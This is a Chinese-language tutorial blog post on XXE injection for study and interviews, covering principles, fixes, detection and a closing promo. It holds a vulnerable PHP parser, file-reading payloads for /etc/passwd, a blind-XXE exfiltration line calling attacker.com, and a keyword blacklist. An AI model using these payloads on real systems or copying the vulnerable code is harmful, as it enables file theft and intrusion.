文章目录
原理
XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击技术。攻击者通过构造恶意的 XML 输入,利用 XML 解析器对外部实体的支持,执行非预期的操作,例如读取本地文件、发起网络请求或执行系统命令。
XXE 攻击的核心原理
-
XML 外部实体引用:XML 支持定义外部实体(External Entity),通过
SYSTEM或PUBLIC关键字引用外部资源(如文件或 URL)。 -
解析器未限制外部实体:如果 XML 解析器未禁用外部实体加载,攻击者可通过注入恶意实体,触发解析器访问受控资源。
-
危害性:
-
文件泄露:读取服务器敏感文件(如
/etc/passwd)。 -
拒绝服务(DoS):利用实体递归定义(如 Billion Laughs 攻击)耗尽资源。
-
内网探测:通过构造请求访问内网资源。
-
命令执行(高级场景):结合特定协议(如
gopher)触发命令。
-
扩展知识点:
-
最新趋势:2025 年,随着云服务的普及,XXE 攻击常用于云配置文件的泄露(如 AWS 的
metadata接口)。 -
变种攻击:如 Blind XXE(无回显场景),通过带外通道(OOB)提取数据。
XML 语言解释
什么是 XML 语言
XML(Extensible Markup Language,可扩展标记语言)是一种用于存储和传输数据的标记语言,设计目标是结构化、可读性强且跨平台兼容。XML 不像 HTML 专注于显示,而是更注重数据的语义和结构。
XML 的特点
-
自定义标签:用户可根据需求定义标签(如
<user>、name)。 -
层次结构:通过嵌套形成树状结构,便于解析。
-
可扩展性:支持通过 DTD 或 Schema 定义数据规则。
-
实体支持:内置实体机制,用于引用外部或内部数据。
XML 与 XXE 的关系
-
XXE 漏洞源于 XML 的实体引用功能,尤其是外部实体(External Entity)。
-
如果应用程序未正确配置 XML 解析器,攻击者可利用实体注入恶意代码。
扩展知识点:
-
XML 的历史:1998 年由 W3C 标准化,广泛应用于 Web 服务(如 SOAP、REST API)。
-
与 JSON 的对比:JSON 更轻量,但不支持实体定义,因此无 XXE 风险。
以 PHP 举例 XML 外部实体注入
PHP 是 Web 开发中常用的语言,其 XML 解析库(如 SimpleXML 或 DOMDocument)如果未正确配置,容易遭受 XXE 攻击。以下是一个典型的 PHP XXE 漏洞示例。
示例代码(存在漏洞)
<?php
$xml = file\_get\_contents("php://input"); // 接收用户输入的 XML
$doc = new DOMDocument();
$doc->loadXML($xml); // 解析 XML,未禁用外部实体
echo $doc->textContent; // 输出解析结果
?>
攻击 Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root \[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
\]>
<root>&xxe;</root>
执行过程
-
攻击者通过 POST 请求发送上述 Payload。
-
PHP 的
DOMDocument解析 XML 时,触发外部实体xxe,读取/etc/passwd文件。 -
服务器返回文件内容,泄露敏感信息。
输出结果(假设 Linux 服务器)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
扩展知识点:
-
PHP 环境下的其他解析器:
-
SimpleXMLElement:默认启用外部实体。 -
XMLReader:需手动禁用实体加载。
-
-
高级利用:
-
读取 PHP 配置文件:
<!ENTITY xxe SYSTEM "file:///etc/php.ini">。 -
结合
php://filter:<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">,将文件内容转为 Base64 编码输出。

-
XML 语言结构
XML 的结构由以下核心部分组成,XXE 攻击主要利用其中的 DTD(文档类型定义)部分。
文档结构包含以下三个部分
-
XML 声明
-
示例:
<?xml version="1.0" encoding="UTF-8"?> -
作用:定义 XML 版本和字符编码。
-
-
DTD(文档类型定义)
-
定义文档的结构和规则,支持实体声明。
-
类型:
-
内部声明 DTD:
<!DOCTYPE root \[ <!ELEMENT root (#PCDATA)> \]> -
引用外部 DTD:
<!DOCTYPE root SYSTEM "external.dtd"> <!DOCTYPE root PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-
-
文档元素
-
示例:
<root><child>Data</child></root> -
作用:承载具体数据。
-
DTD 中的实体声明
实体是 XML 中用于定义可重用内容的机制,XXE 攻击主要利用外部实体。
-
内部声明实体
<!ENTITY name "lady\_killer9">- 调用:
<root>&name;</root>,输出lady_killer9。
- 调用:
-
引用外部实体
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!ENTITY xxe PUBLIC "-//W3C//ENT" "http://example.com/data.txt">- 调用:
<root>&xxe;</root>,触发外部资源加载。

- 调用:
攻击代码(DTD Payload)
以下是常见的 XXE Payload,用于读取文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root \[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
\]>
<root>&xxe;</root>
扩展知识点:
-
参数实体:
<!DOCTYPE root \[ <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY data "%xxe;"> \]> <root>&data;</root>- 作用:参数实体(以
%开头)只能在 DTD 内部引用,常用于复杂攻击。
- 作用:参数实体(以
-
最新利用:利用
data:协议加载 Base64 编码内容,避免直接文件路径:<!ENTITY xxe SYSTEM "data:text/plain;base64,SGVsbG8gV29ybGQ=">
面试题目
以下是常见的 XXE 漏洞相关面试题目及其解答,帮助您在面试中脱颖而出。
-
什么是 XXE 漏洞?其原理是什么?
- 答:XXE 是 XML 外部实体注入漏洞,原理是攻击者通过构造恶意 XML,利用解析器加载外部实体,执行文件读取等操作。
-
如何检测一个系统是否存在 XXE 漏洞?
- 答:抓包分析请求头(如
Accept: application/xml),修改数据格式为 XML,注入测试 Payload(如<!ENTITY xxe SYSTEM "file:///etc/passwd">),观察响应。
- 答:抓包分析请求头(如
-
XXE 的危害有哪些?如何防御?
- 答:危害包括文件泄露、DoS、内网探测;防御方法包括禁用外部实体、升级解析库、使用白名单过滤。
扩展题目:
-
Blind XXE 如何利用?
-
答:通过带外通道(OOB)发送数据,如:
<!ENTITY % xxe SYSTEM "http://attacker.com/?data=%payload;">
-
XXE 漏洞修复与防御
如何寻找 XXE 漏洞
-
抓包检查 Accept 头
-
查看服务器是否接受
application/xml或text/xml。 -
工具:Burp Suite。
-




-
修改数据类型
-
将 JSON 请求改为 XML(如
Content-Type: application/xml),注入 Payload 测试。 -
示例:
POST /api HTTP/1.1 Content-Type: application/xml <?xml version="1.0"?><!DOCTYPE root \[<!ENTITY xxe SYSTEM "file:///etc/passwd">\]><root>&xxe;</root>
-
修复与防御方法
-
提高版本
- 使用最新版本的 XML 解析库,避免已知漏洞。
-
代码修复
-
PHP:
libxml\_disable\_entity\_loader(true); // 禁用外部实体加载 $doc = new DOMDocument(); $doc->loadXML($xml); -
Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); // 禁用实体扩展 dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用 DTD dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
Python:
from lxml import etree parser = etree.XMLParser(resolve\_entities=False) # 禁用实体解析 xmlData = etree.parse("input.xml", parser)
-
-
手动黑名单过滤(不推荐)
-
过滤关键词:
<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC。 -
局限性:易被绕过(如大小写变种、编码绕过)。
-
扩展防御:
-
WAF(Web 应用防火墙):配置规则拦截恶意 XML 输入。
-
沙箱隔离:在沙箱中解析 XML,限制文件访问。
-
最新趋势:结合 AI 检测异常 XML 流量,提升防御效果。
1. XXE 漏洞的检测工具
-
Burp Suite:通过 Intruder 模块发送 Payload 测试。
-
XXEinjector:自动化检测工具,支持 Blind XXE。
python xxeinjector.py -u http://target.com/api -p payload.xml
2. 真实案例
-
某 CMS 系统 XXE 漏洞:
-
漏洞点:上传 XML 文件的接口未禁用外部实体。
-
Payload:读取
/etc/passwd并通过 OOB 返回。 -
修复:升级解析库,禁用 DTD。
-
3. 最新技术趋势(2025 年)
-
云环境下的 XXE:攻击者利用 XXE 读取云实例元数据(如
http://169.254.169.254/latest/meta-data/)。 -
AI 检测与对抗:杀软使用机器学习识别 XXE Payload,红队则通过对抗性样本绕过。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取



811

被折叠的 条评论
为什么被折叠?



